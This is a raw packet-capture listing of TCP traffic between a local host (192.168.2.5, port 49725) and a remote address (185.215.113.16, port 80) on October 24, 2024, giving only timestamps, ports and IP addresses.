Oct 24, 2024 19:29:29.809587955 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.809591055 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.809623003 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.809637070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.809653044 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.809674025 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.809689045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.809691906 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.809708118 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.809727907 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.809731960 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.809752941 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.810084105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810098886 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810113907 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810163021 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810173988 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.810178041 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810194016 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810209036 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810221910 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.810250998 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.810256004 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810281038 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810296059 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810309887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810322046 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.810337067 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810348034 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.810853958 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810869932 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810895920 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.810900927 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810916901 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810933113 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810946941 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810956955 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.810962915 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.810997963 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.811018944 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.811028957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811043978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811058044 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811073065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811084032 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.811089039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811110973 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.811122894 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811139107 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811151028 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811163902 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.811283112 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811330080 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811338902 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.811346054 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811361074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811369896 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.811383009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811403036 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.811424017 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811439991 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811455965 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811476946 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.811500072 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.811542034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811557055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811572075 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811589003 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811597109 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.811641932 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.811688900 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811705112 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811719894 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811734915 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811750889 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811758995 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.811767101 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811780930 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.811781883 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811808109 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.811872959 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811943054 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.811945915 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.811961889 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812007904 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.812011957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812031031 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812047958 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812063932 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812072992 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.812108994 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.812140942 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812156916 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812171936 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812187910 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812202930 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812212944 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.812237978 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.812239885 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812257051 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812269926 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812284946 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812294006 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.812300920 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812315941 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812328100 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.812331915 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.812339067 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.812450886 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.812549114 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.853351116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.853370905 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.853387117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.853420973 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.888469934 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888509035 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888525963 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888560057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888564110 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.888576984 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888591051 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888598919 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.888612986 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888633966 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.888642073 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888659000 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888659954 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.888674021 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888689995 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888712883 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.888732910 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888737917 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.888751030 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888772964 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888793945 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.888861895 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888887882 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888901949 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.888911963 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888927937 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888942957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888956070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.888968945 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.888974905 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889004946 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.889017105 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.889055014 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889079094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889101028 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889116049 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889130116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889141083 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.889146090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889164925 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889168978 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.889177084 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.889182091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889199018 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889238119 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.889247894 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889262915 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889303923 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.889312983 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889328957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889354944 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.889868021 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889882088 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889924049 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889931917 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.889940977 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889956951 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889961958 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.889974117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889990091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.889997959 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.890021086 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.890069962 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890084982 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890100002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890114069 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890129089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890141010 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.890146017 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890163898 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890170097 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.890188932 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890192032 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.890223026 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890230894 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.890239954 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890254021 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890270948 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890285015 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890300035 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890301943 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.890328884 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.890350103 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.890367985 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890383005 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890397072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890412092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890427113 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890434027 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.890443087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890456915 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.890459061 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890476942 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890484095 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.890492916 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890522957 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.890934944 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890950918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890965939 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.890976906 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.891006947 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.891038895 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.891053915 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.891086102 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.919940948 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.926285028 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.926312923 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.926328897 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.926373005 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.926506042 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.926521063 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.926536083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.926548004 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.926629066 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.926788092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.926944017 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.926959991 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.926980019 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.926999092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927002907 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927016020 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927028894 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927051067 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927057981 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927068949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927083969 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927103996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927108049 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927134991 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927140951 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927151918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927167892 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927184105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927206039 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927227020 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927275896 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927290916 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927305937 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927321911 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927336931 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927345037 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927354097 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927381039 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927381039 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927424908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927440882 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927455902 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927483082 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927484035 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927509069 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927522898 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927535057 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927540064 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927556038 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927560091 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927572012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927587032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927592993 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927603960 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927619934 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927622080 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927659988 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927771091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927784920 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927799940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927818060 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927828074 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927835941 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927851915 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927861929 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927866936 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927885056 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927897930 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.927901983 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.927925110 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.928407907 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928422928 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928437948 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928447008 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.928477049 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.928540945 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928555965 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928570032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928596973 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.928601980 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928651094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928668976 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928680897 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.928699017 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928704023 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.928730011 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928754091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928767920 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928782940 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.928782940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928801060 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928802013 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.928879023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928895950 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928906918 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.928913116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928930044 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928941965 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.928946972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928962946 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.928987026 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929008961 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929186106 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929207087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929224014 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929251909 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929253101 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929275990 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929289103 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:29.929291964 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929307938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929322958 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929337978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:29.929346085 CEST	49725	80	192.168.2.5	185.215.113.16
